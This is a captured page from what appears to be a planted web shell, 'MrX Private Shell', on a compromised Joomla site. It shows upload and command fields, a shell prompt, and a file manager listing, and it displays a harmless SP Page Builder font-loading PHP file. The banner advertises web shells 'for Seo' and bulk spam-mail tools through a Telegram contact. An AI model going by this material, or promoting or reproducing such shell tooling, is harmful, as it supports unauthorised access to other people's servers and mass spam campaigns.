__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package SP Page Builder
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2023 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/

use Joomla\CMS\Factory;
use Joomla\CMS\Component\ComponentHelper;

//no direct access
defined ('_JEXEC') or die ('Restricted access');

$addon_id = $displayData['addon_id'];
$selector = (isset($displayData['selector']) && $displayData['selector']) ? $displayData['selector'] : '';
$options = $displayData['options'];

$output = '';

if(!empty($options))
{
	foreach ($options as $option)
	{
		if(is_array($option))
		{
			// Font
			if(isset($option['type']) && $option['type'])
			{
				$type = $option['type'];
				
				if($type === 'font')
				{
					$font = $option['font'];

					$system = array(
						'Arial',
						'Tahoma',
						'Verdana',
						'Helvetica',
						'Times New Roman',
						'Trebuchet MS',
						'Georgia'
					);

					if (!in_array($font, $system))
					{
						$google_font = '//fonts.googleapis.com/css?family=' . str_replace(' ', '+', $option['font']) . ':100,100italic,200,200italic,300,300italic,400,400italic,500,500italic,600,600italic,700,700italic,800,800italic,900,900italic&display=swap';
						$disableGoogleFonts = ComponentHelper::getParams("com_sppagebuilder")->get('google_fonts', 0);
						if ($disableGoogleFonts != 1)
						{
							Factory::getDocument()->addStylesheet($google_font);
						}
					}

					$output .= $selector
						? $addon_id . ' ' . $selector . $option['css']
						: $addon_id . ' ' . $option['css'];

					$output .= "\n";
				}
			}
		}
	}
}

echo $output;

Filemanager

Name Type Size Permission Actions
button.php File 4.13 KB 0664
fontfamily.php File 950 B 0664
selector.php File 1.6 KB 0664
Filemanager